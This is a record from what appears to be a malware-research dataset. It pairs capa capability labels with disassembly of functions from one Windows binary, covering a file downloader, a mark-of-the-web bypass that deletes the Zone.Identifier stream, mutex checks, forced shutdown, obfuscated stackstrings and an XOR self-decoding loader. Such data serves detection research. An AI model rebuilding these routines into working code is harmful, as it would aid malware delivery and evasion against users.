joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4018d0
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Reference http user-agent string
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push 0x400
push 0
push 0x408250
call sub.MSVCR90.dll_memset
add esp, 0xc
push 0
push 0
push 0
push 1
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_96.0.4664.110_Safari_537.36
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x4019c3
push 0
push 0
push 0
push 0
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x4019b9
movzx edx, byte [ebp + 8]
cmp edx, 1
jne 0x4019a1
push 0
push 0
push 2
push 0
push 0
push 0x40000000
mov eax, dword [ebp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
je 0x40199f
lea ecx, [ebp - 0x10]
push ecx
push 0x3ff
push 0x408250
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x401995
cmp dword [ebp - 0x10], 0
je 0x401995
push 0
lea eax, [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
push 0x408250
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x401958
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4019b9
lea ecx, [ebp - 0x10]
push ecx
push 0x3ff
push 0x408250
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.WININET.dll_InternetReadFile]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, 0x408250
mov esp, ebp
pop ebp
ret
Function at 0x402740
Capabilities:
Bypass mark of the web
Check mutex and terminate process on windows
Check mutex on windows
Create thread
Delete file
Initialize winsock library
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6b4
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.d2d2d2dd
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 0x6b4], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x40277e
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 0x20c], 0
push 0x104
lea eax, [ebp - 0x208]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea ecx, [ebp - 0x208]
push ecx
push str._s:Zone.Identifier
lea edx, [ebp - 0x520]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x520]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea ecx, [ebp - 0x6b0]
push ecx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
call fcn.00401760
movzx edx, al
test edx, edx
jne 0x4027eb
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x408148
call section..text
add esp, 4
push eax
push 0x404e30
lea eax, [ebp - 0x318]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0
push 0
lea ecx, [ebp - 0x318]
push ecx
push 0x402450
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edx, 1
test edx, edx
je 0x402846
push 0x6ddd00
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x402830
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10
Function at 0x40162b
Capabilities:
Compare security identifiers

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x408448]
push ebx
xor ebx, ebx
mov dword [ebp - 0xc], ebx
mov word [ebp - 8], 0x500
mov dword [ebp - 0x10], ebx
cmp eax, 2
jne 0x401752
lea eax, [ebp - 0x10]
push eax
call fcn.00401585
test eax, eax
jne 0x401741
lea eax, [ebp - 0x14]
push eax
push 8
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x401752
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
lea eax, [ebp - 0x18]
push eax
push ebx
push ebx
push 2
push dword [ebp - 0x14]
call edi
test eax, eax
jne 0x401732
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x401732
push esi
push dword [ebp - 0x18]
push ebx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
test esi, esi
je 0x401731
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 0x18]
push esi
push 2
push dword [ebp - 0x14]
call edi
test eax, eax
je 0x40172a
lea eax, [ebp - 0x1c]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x220
push 0x20
push 2
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x40172a
cmp dword [esi], ebx
jbe 0x401721
lea edi, [esi + 4]
push dword [ebp - 0x1c]
push dword [edi]
call dword [sym.imp.ADVAPI32.dll_EqualSid]
test eax, eax
jne 0x401716
inc ebx
add edi, 8
cmp ebx, dword [esi]
jb 0x4016fd
jmp 0x401721
xor eax, eax
inc eax
mov dword [0x408448], eax
mov dword [ebp - 0x10], eax
push dword [ebp - 0x1c]
call dword [sym.imp.ADVAPI32.dll_FreeSid]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop esi
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x10]
pop edi
jmp 0x401752
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x401752
mov dword [0x408448], 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.00406935
leave
ret
Function at 0x401c86
Capabilities:
Shutdown system

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
lea eax, [ebp - 0x18]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
xor edi, edi
test eax, eax
jne 0x401cc6
push edi
push 0x10
push edi
push edi
push 0x4f5
push edi
call fcn.00404172
xor eax, eax
jmp 0x401d2d
push esi
lea eax, [ebp - 0x10]
push eax
push 0x401154
push edi
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
push edi
push edi
push edi
lea eax, [ebp - 0x14]
push eax
push edi
push dword [ebp - 0x18]
mov dword [ebp - 0x14], 1
mov dword [ebp - 8], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push dword [ebp - 0x18]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
pop esi
push edi
jne 0x401d12
push 0x10
push edi
push edi
push 0x4f6
jmp 0x401cbc
push 2
call dword [sym.imp.USER32.dll_ExitWindowsEx]
test eax, eax
jne 0x401d2a
push edi
push 0x10
push edi
push edi
push 0x4f7
jmp 0x401cbc
xor eax, eax
inc eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop edi
call fcn.00406935
leave
ret

Function at 0x401d3f
Capabilities:
Shutdown system

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
test byte [ebp + 8], 2
jne 0x401d54
call fcn.00401c54
cmp eax, 2
jne 0x401d91
test byte [ebp + 8], 4
jne 0x401d76
push 4
push 0x40
push 0
push 0x4010d1
push 0x522
push 0
call fcn.00404172
cmp eax, 6
jne 0x401d91
cmp word [0x409e60], 0
jne 0x401d8c
push 0
push 2
call dword [sym.imp.USER32.dll_ExitWindowsEx]
jmp 0x401d91
call fcn.00401c86
pop ebp
ret 4

Function at 0x4022b1
Capabilities:
Get common file path

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov edi, 0x104
push edi
lea eax, [ebp - 0x108]
push eax
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
test eax, eax
je 0x40232b
push edi
mov eax, 0x401190
lea ecx, [ebp - 0x108]
call fcn.00406206
lea eax, [ebp - 0x108]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
push 0x40
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll__lopen]
mov edi, eax
cmp edi, 0xffffffff
je 0x40232b
push 2
push esi
push edi
call dword [sym.imp.KERNEL32.dll__llseek]
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll__lclose]
mov ecx, dword [ebp - 4]
pop edi
mov eax, esi
xor ecx, ebp
pop esi
call fcn.00406935
leave
ret
Function at 0x402340
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
movzx eax, ax
push esi
xor esi, esi
test eax, eax
je 0x4023eb
cmp eax, 1
je 0x4023b1
add eax, 0xfffffffe
cmp eax, 1
ja 0x4023f2
lea eax, [ebp - 8]
push eax
push 0x20019
push esi
push str.SystemCurrentControlSetControlSession_Manager
push 0x80000002
mov dword [ebp - 4], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4023ac
lea eax, [ebp - 4]
push eax
push esi
push esi
push esi
push str.PendingFileRenameOperations
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x4023a3
mov dword [ebp - 4], esi
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [ebp - 4]
jmp 0x4023f2
lea eax, [ebp - 8]
push eax
push 0x20019
push esi
push str.SystemCurrentControlSetControlSession_ManagerFileRenameOperations
push 0x80000002
mov dword [ebp - 4], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4023ac
push esi
push esi
push esi
push esi
lea eax, [ebp - 4]
push eax
push esi
push esi
push esi
push esi
push esi
push esi
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
jmp 0x40239c
call fcn.004022b1
mov esi, eax
mov eax, esi
pop esi
leave
ret
Function at 0x40253a
Capabilities:
Get common file path
Query environment variable
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x11c
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
xor ebx, ebx
push esi
mov esi, ecx
mov byte [edi], bl
cmp byte [esi], 0x23
mov dword [ebp - 0x110], esi
jne 0x40266d
inc esi
movsx eax, byte [esi]
push eax
call dword [sym.imp.USER32.dll_CharUpperA]
push esi
mov esi, dword [sym.imp.USER32.dll_CharNextA]
mov byte [ebp - 0x109], al
call esi
push eax
call esi
mov dword [ebp - 0x110], eax
mov al, byte [ebp - 0x109]
mov esi, 0x104
cmp al, 0x53
je 0x402672
cmp al, 0x57
je 0x402663
mov edx, 0x4011a0
mov eax, esi
lea ecx, [ebp - 0x108]
mov dword [ebp - 0x11c], esi
call fcn.0040151d
mov eax, dword [ebp - 0x110]
push esi
lea ecx, [ebp - 0x108]
call fcn.00406206
lea eax, [ebp - 0x118]
push eax
push 0x20019
push ebx
lea eax, [ebp - 0x108]
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40267e
lea eax, [ebp - 0x11c]
push eax
push edi
lea eax, [ebp - 0x114]
push eax
push ebx
push 0x4010d1
push dword [ebp - 0x118]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x402655
mov eax, dword [ebp - 0x114]
cmp eax, 2
jne 0x40264d
push esi
lea eax, [ebp - 0x108]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
test eax, eax
je 0x402647
lea edx, [ebp - 0x108]
mov ecx, edi
call fcn.00401425
jmp 0x402652
mov eax, dword [ebp - 0x114]
cmp eax, 1
jne 0x402655
xor ebx, ebx
inc ebx
push dword [ebp - 0x118]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x40267a
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
jmp 0x40267e
mov esi, 0x104
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test ebx, ebx
jne 0x40268c
mov eax, dword [ebp - 0x110]
push esi
mov ecx, edi
call fcn.00406206
mov ecx, dword [ebp - 4]
xor eax, eax
pop esi
xor ecx, ebp
inc eax
pop ebx
call fcn.00406935
leave
ret
Function at 0x4026a2
Capabilities:
Get file version info

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x30
push ebx
push esi
xor esi, esi
push edi
mov edi, dword [ebp + 8]
mov ebx, esi
mov eax, esi
mov dword [ebp - 4], esi
cmp dword [edi + 0x7c], esi
jle 0x402838
mov ecx, esi
mov dword [ebp - 8], esi
lea eax, [ecx + edi]
mov ecx, dword [edi + 0x80]
mov eax, dword [eax + ecx + 0xbc]
mov dword [ebp - 0xc], ecx
lea ecx, [edi + 0x84]
mov edi, dword [ebp + 0xc]
add ecx, eax
call fcn.0040253a
test eax, eax
je 0x4027da
lea eax, [ebp - 0x14]
push eax
push edi
call dword [sym.imp.VERSION.dll_GetFileVersionInfoSizeA]
mov dword [ebp - 0x10], eax
test eax, eax
je 0x402802
push eax
push 0x42
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, eax
test ebx, ebx
je 0x4027da
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov edi, eax
test edi, edi
je 0x4027da
push edi
push dword [ebp - 0x10]
push dword [ebp - 0x14]
push dword [ebp + 0xc]
call dword [sym.imp.VERSION.dll_GetFileVersionInfoA]
test eax, eax
je 0x4027f6
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x1c]
push eax
push 0x4011d4
push edi
call dword [sym.imp.VERSION.dll_VerQueryValueA]
test eax, eax
je 0x4027f6
cmp dword [ebp - 0x18], 0
je 0x4027f6
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax + 0xc]
mov eax, dword [eax + 8]
mov edx, dword [ebp - 0xc]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 8]
add eax, dword [ebp + 8]
add edx, 0x94
mov edi, esi
mov esi, ecx
mov ecx, dword [ebp - 0x20]
add edx, eax
push dword [edx - 0xc]
mov eax, esi
push dword [edx - 0x10]
call fcn.00402842
push dword [edx]
mov dword [ebp + edi - 0x28], eax
push dword [edx - 4]
mov eax, esi
call fcn.00402842
mov dword [ebp + edi - 0x30], eax
add edi, 4
add edx, 0x18
cmp edi, 8
jl 0x40278e
mov edi, dword [ebp + 8]
xor esi, esi
cmp dword [ebp - 0x28], esi
jl 0x4027c9
cmp dword [ebp - 0x30], esi
jle 0x4027f9
cmp dword [ebp - 0x24], esi
jl 0x4027d3
cmp dword [ebp - 0x2c], esi
jle 0x4027f9
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 0x10]
mov dword [ecx], eax
test ebx, ebx
je 0x4027ed
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret 0xc
mov edi, dword [ebp + 8]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
jmp 0x40281f
mov edi, dword [ebp + 8]
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
add eax, edi
cmp dword [eax + ecx + 0x84], esi
jne 0x4027da
cmp dword [eax + ecx + 0x88], esi
jne 0x4027da
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 8]
inc eax
add ecx, 0x3c
mov dword [ebp - 4], eax
mov dword [ebp - 8], ecx
cmp eax, dword [edi + 0x7c]
jl 0x4026c7
xor esi, esi
inc esi
jmp 0x4027dd
Function at 0x404172
Capabilities:
Contain obfuscated stackstrings

Disassembly:
inc esp
mov byte [ebp - 0x343], 0x55
mov byte [ebp - 0x342], 0x25
lea eax, [ebp - 0x354]
push eax
call fcn.004038f9
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.004038ae
add esp, 0xc
mov dword [ebp - 0x68c], eax
call dword [ebp - 0x68c]
mov dword [ebp - 0x674], eax
mov dword [ebp - 0x384], 4
and byte [ebp - 0x334], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x333]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x670], 4
and byte [ebp - 0x3c4], 0
and byte [ebp - 0x3c3], 0
mov byte [ebp - 0x3c2], 0x99
and byte [ebp - 0x3c1], 0
mov byte [ebp - 0x3c0], 0x21
mov byte [ebp - 0x3bf], 3
mov byte [ebp - 0x3be], 0x12
mov byte [ebp - 0x3bd], 0x2b
mov byte [ebp - 0x3bc], 9
mov byte [ebp - 0x3bb], 2
mov byte [ebp - 0x3ba], 0x13
mov byte [ebp - 0x3b9], 0xa
mov byte [ebp - 0x3b8], 3
mov byte [ebp - 0x3b7], 0x20
mov byte [ebp - 0x3b6], 0xf
mov byte [ebp - 0x3b5], 0xa
mov byte [ebp - 0x3b4], 3
mov byte [ebp - 0x3b3], 0x28
mov byte [ebp - 0x3b2], 7
mov byte [ebp - 0x3b1], 0xb
mov byte [ebp - 0x3b0], 3
mov byte [ebp - 0x3af], 0x27
mov byte [ebp - 0x3ae], 0x66
lea eax, [ebp - 0x3c4]
push eax
call fcn.004038f9
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.004038ae
add esp, 0xc
mov dword [ebp - 0x538], eax
and byte [ebp - 0x3ec], 0
and byte [ebp - 0x3eb], 0
mov byte [ebp - 0x3ea], 0x11
and byte [ebp - 0x3e9], 0
mov byte [ebp - 0x3e8], 0xa9
mov byte [ebp - 0x3e7], 0x8b
mov byte [ebp - 0x3e6], 0x9a
mov byte [ebp - 0x3e5], 0xa3
mov byte [ebp - 0x3e4], 0x81
mov byte [ebp - 0x3e3], 0x8a
mov byte [ebp - 0x3e2], 0x9b
mov byte [ebp - 0x3e1], 0x82
mov byte [ebp - 0x3e0], 0x8b
mov byte [ebp - 0x3df], 0xa6
mov byte [ebp - 0x3de], 0x8f
mov byte [ebp - 0x3dd], 0x80
mov byte [ebp - 0x3dc], 0x8a
mov byte [ebp - 0x3db], 0x82
mov byte [ebp - 0x3da], 0x8b
mov byte [ebp - 0x3d9], 0xaf
mov byte [ebp - 0x3d8], 0xee
lea eax, [ebp - 0x3ec]
push eax
call fcn.004038f9
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.004038ae
add esp, 0xc
mov dword [ebp - 0x340], eax
call fcn.004038e9
dec esi
pop ebp
cdq
into
and byte [ebp - 0x534], 0
and byte [ebp - 0x533], 0
mov byte [ebp - 0x532], 0x68
and byte [ebp - 0x531], 0
mov byte [ebp - 0x530], 0xd4
invalid
test ecx, edx
Function at 0x405e0f
Capabilities:
Get common file path

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x104
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
test eax, eax
jne 0x405e58
push eax
push 0x10
push eax
push eax
push 0x4f0
push eax
call fcn.00404172
call fcn.00405e78
mov dword [0x409e68], eax
xor eax, eax
jmp 0x405e67
push 2
push 2
lea ecx, [ebp - 0x108]
call fcn.0040560f
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00406935
leave
ret

Function at 0x406425
Capabilities:
Check os version
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0xb4
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [0x4085e8]
push esi
xor esi, esi
mov dword [ebp - 0xb0], 0xc
mov dword [ebp - 0xa8], esi
cmp ebx, 0xfffffffe
jne 0x406550
lea eax, [ebp - 0xa4]
push eax
mov dword [0x4085e8], esi
mov dword [ebp - 0xa4], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x40654a
xor ebx, ebx
inc ebx
cmp dword [ebp - 0x94], ebx
jne 0x40654a
cmp dword [ebp - 0xa0], 4
jne 0x40654a
cmp dword [ebp - 0x9c], 0xa
jae 0x40654a
push 0x4a
call dword [sym.imp.USER32.dll_GetSystemMetrics]
test eax, eax
je 0x40654a
lea eax, [ebp - 0xac]
push eax
push 0x20019
push esi
push 0x401370
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40654a
lea eax, [ebp - 0xb0]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xb4]
push eax
push esi
push 0x4010d1
push dword [ebp - 0xac]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0xac]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
je 0x406519
mov eax, dword [0x4085e8]
jmp 0x406552
push edi
lea eax, [ebp - 0x10]
push eax
lea edi, [ebp - 0xa8]
call fcn.0040630c
pop edi
test eax, eax
je 0x40654a
mov eax, dword [ebp - 0xa8]
and eax, 0x3ff
cmp eax, ebx
je 0x406542
cmp eax, 0xd
jne 0x40654a
mov dword [0x4085e8], ebx
jmp 0x406550
mov ebx, dword [0x4085e8]
mov eax, ebx
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.00406935
leave
ret

Function at 0x406fe0
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
je 0x406ff6
xor eax, eax
pop ebp
ret
mov ecx, dword [eax + 0x3c]
add ecx, eax
xor eax, eax
cmp dword [ecx], 0x4550
jne 0x407011
mov edx, 0x10b
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret

Function at 0x407020
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
push ebx
movzx ebx, word [ecx + 6]
add eax, 0x18
push esi
xor edx, edx
add eax, ecx
push edi
test ebx, ebx
je 0x40705e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x407056
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x407060
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x407046
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x402f0f
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x408010]
jne 0x404450
repz ret
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x328
mov dword [0x409368], eax
mov dword [0x409364], ecx
mov dword [0x409360], edx
mov dword [0x40935c], ebx
mov dword [0x409358], esi
mov dword [0x409354], edi
mov word [0x409380], ss
mov word [0x409374], cs
mov word [0x409350], ds
mov word [0x40934c], es
mov word [0x409348], fs
mov word [0x409344], gs
pushfd
pop dword [0x409378]
mov eax, dword [ebp]
mov dword [0x40936c], eax
mov eax, dword [ebp + 4]
mov dword [0x409370], eax
lea eax, [ebp + 8]
mov dword [0x40937c], eax
mov eax, dword [ebp - 0x320]
mov dword [0x4092b8], 0x10001
mov eax, dword [0x409370]
mov dword [0x40926c], eax
mov dword [0x409260], 0xc0000409
mov dword [0x409264], 1
mov eax, dword [0x408010]
mov dword [ebp - 0x328], eax
mov eax, dword [0x408014]
mov dword [ebp - 0x324], eax
call dword [sym.imp.kernel32.dll_IsDebuggerPresent]
mov dword [0x4092b0], eax
push 1
call fcn.00406093
pop ecx
push 0
call dword [sym.imp.kernel32.dll_SetUnhandledExceptionFilter]
push 0x401d80
call dword [sym.imp.kernel32.dll_UnhandledExceptionFilter]
cmp dword [0x4092b0], 0
jne 0x40453c
push 1
call fcn.00406093
pop ecx
push 0xc0000409
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.kernel32.dll_TerminateProcess]
leave
ret

Function at 0x4039a0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x4039af
pop dword [ebp - 0x2c]
mov eax, 0x363dbc61
add eax, 0xca027d4e
sub dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0x3f136cef
add dword [ebp - 0x3c], 0xf3ed85c
mov dword [ebp - 0x38], 0x33479063
add dword [ebp - 0x38], 0xfeebbbe2
mov dword [ebp - 0x34], 0x4568769b
sub dword [ebp - 0x34], 0xf91c326d
mov dword [ebp - 0x30], 0x63c2d946
add dword [ebp - 0x30], 0x9c3d26ba
lea eax, [ebp - 0x3c]
push eax
mov eax, 0x1a82325e
sub eax, 0x1a422242
add eax, dword [ebp - 0x2c]
call dword [eax]
mov dword [ebp - 0x3c], 0xb3406986
sub dword [ebp - 0x3c], 0x3ece0030
mov dword [ebp - 0x38], 0xe25f1077
add dword [ebp - 0x38], 0x5f0d50fe
mov dword [ebp - 0x34], 0x473560cb
sub dword [ebp - 0x34], 0xe3c5f45f
mov dword [ebp - 0x30], 0x97f5cb0d
sub dword [ebp - 0x30], 0x97f5cb0d
lea ebx, [ebp - 0x3c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x2c]
call dword [eax]
push 0x40
push 0x1000
push 0x37091
push 0
call eax
mov ecx, 0x44af
xor edi, edi
add edi, eax
mov esi, 0x433800
add esi, dword [ebp - 0x2c]
mov ebx, 0x2e906501
add dword [ebp - 0x24], 0xc2cd5b60
mov edx, dword [esi]
xor dword [ebp - 0x24], esi
xor edx, ebx
add dword [ebp - 0x10], 0x9945531d
mov dword [edi], edx
add edi, 0xccd4feb2
add edi, 0x332b0152
add esi, 0x5f321e15
add esi, 0xa0cde1ef
loop 0x403abc
add eax, 0xd5784790
sub eax, 0xd5774201
mov ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret